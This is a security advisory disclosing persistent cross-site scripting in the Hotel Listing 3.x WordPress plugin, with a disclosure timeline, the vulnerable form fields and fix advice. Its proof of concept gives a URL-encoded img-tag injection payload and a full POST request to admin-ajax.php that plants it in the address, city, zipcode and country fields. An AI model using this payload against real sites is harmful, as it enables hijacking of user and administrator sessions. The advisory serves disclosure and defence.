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WordPress Hotel Listing 3.x Cross Site Scripting

WordPress Hotel Listing 3.x Cross Site Scripting
Posted Nov 1, 2021
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

WordPress Hotel Listing plugin version 3.x suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 99b30df45ed89671fd8edfb7b65532b6dc8e98b23e48c2e1bd9274c6c79d848f

WordPress Hotel Listing 3.x Cross Site Scripting

Change Mirror Download
Document Title:
===============
Hotel Listing (WP Plugin) v3.x - MyAccount XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2277


Release Date:
=============
2021-10-28


Vulnerability Laboratory ID (VL-ID):
====================================
2277


Common Vulnerability Scoring System:
====================================
5.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Hotel, Motel , Bar & Restaurant Listing Plugin + Membership plugin using Wordpress with PHP and MySQL Technologie.

(Copy of the Homepage:https://hotel.eplug-ins.com/hoteldoc/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in the official Hotel Listing v3.x wordpress plugin web-application.


Affected Product(s):
====================
e-plugins
Product: Hotel Listing v3.x - Plugin Wordpress (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-08-19: Researcher Notification & Coordination (Security Researcher)
2021-08-20: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been discovered in the official Hotel Listing v3.x wordpress plugin web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The vulnerabilities are located in add new listing - address, city, zipcode, country and location input fields of the my-account module.
Remote attackers can register a low privileged application user account to inject own malicious script codes with persistent attack vector to
hijack user/admin session credentials or to permanently manipulate affected modules. The execute of the malicious injected script code takes
place in the frontend on preview but as well in the backend on interaction to edit or list (?&profile=all-post) by administrative accounts.
The request method to inject is post and the attack vector is persistent located on the application-side.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add New Listing


Vulnerable Input(s):
[+] address
[+] city
[+] zipcode
[+] country

Affected Module(s):
[+] Frontend on Preview (All Listings)
[+] Backend on Preview (All Listings) or Edit


Proof of Concept (PoC):
=======================
The persistent web vulnerabilities can be exploited by remote attackers with privilged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Exploitation: Payload
%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E


Vulnerable Source: new-listing
<div class=" form-group row">
<div class="col-md-6 ">
<label for="text" class=" control-label col-md-4 ">Address</label>
<input type="text" class="form-control col-md-8 " name="address" id="address" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter address Here">
</div>
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">Area</label>
<input type="text" class="form-control col-md-8" name="area" id="area" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter Area Here">
</div>
</div>
<div class=" form-group row">
<div class="col-md-6 ">
<label for="text" class=" control-label col-md-4">City</label>
<input type="text" class="form-control col-md-8" name="city" id="city" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter city ">
</div>
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">Zipcode</label>
<input type="text" class="form-control col-md-8" name="postcode" id="postcode" value="<[MALICIOUS SCRIPT CODE PAYLOAD!]>">>""
placeholder="Enter Zipcode ">
</div>
</div>
<div class=" form-group row">
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">State</label>
<input type="text" class="form-control col-md-8" name="state" id="state" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter State ">
</div>
<div class=" col-md-6">
<label for="text" class=" control-label col-md-4">Country</label>
<input type="text" class="form-control col-md-8" name="country" id="country" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
placeholder="Enter Country ">
</div>



--- PoC Session Logs (POST) ---
http://hotel-eplug-ins.localhost:8000/wp-admin/admin-ajax.php
Host: hotel-eplug-ins.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1603
Origin:http://hotel-eplug-ins.localhost:8000
Connection: keep-alive
Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing
-
action=iv_directories_save_listing&form_data=cpt_page=hotel&title=test1&new_post_content=test2&logo_image_id=&feature_image_id=
&gallery_image_ids=&post_status=pending&postcats%5B%5D=&address=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&area=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
city=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&postcode=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
state=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&country=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
latitude=&longitude=&new_tag=&phone=&fax=&contact-email=&contact_web=&award_title%5B%5D=&award_description%5B%5D=&
award_year%5B%5D=&menu_title%5B%5D=&menu_description%5B%5D=&menu_price%5B%5D=&menu_order%5B%5D=&room_title%5B%5D=&room_description%5B%5D=&room_price%5B%5D=&
room_order%5B%5D=&override_bookingf=no&booking_stcode=&youtube=&vimeo=&facebook=&linkedin=&twitter=&gplus=&pinterest=&instagram=&Rooms=&suites=&
Rating_stars=&CHECK_IN=&CHECK_out=&Cancellation=&Pets=&Children_and_Extra_Beds=&day_name%5B%5D=Monday+&day_value1%5B%5D=&
day_value2%5B%5D=&event-title=&event-detail=++&event_image_id=&user_post_id=&_wpnonce=50241bc992
-
POST: HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access-Control-Allow-Origin:http://hotel-eplug-ins.localhost:8000
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Encoding: gzip
-
http://hotel-eplug-ins.localhost:8000/my-account-2/?&profile=all-post
Host: hotel-eplug-ins.localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing
-
GET: HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress
Location:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=all-post


Solution - Fix & Patch:
=======================
1. Encode and parse all vulnerable input fields on transmit via post method request
2. Restrict the input fields to disallow usage of special chars
3. Encode and escape the output content in the edit and list itself to prevent the execution point


Security Risk:
==============
The security risk of the persistent cross site scripting web vulnerability in the hotel listing application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



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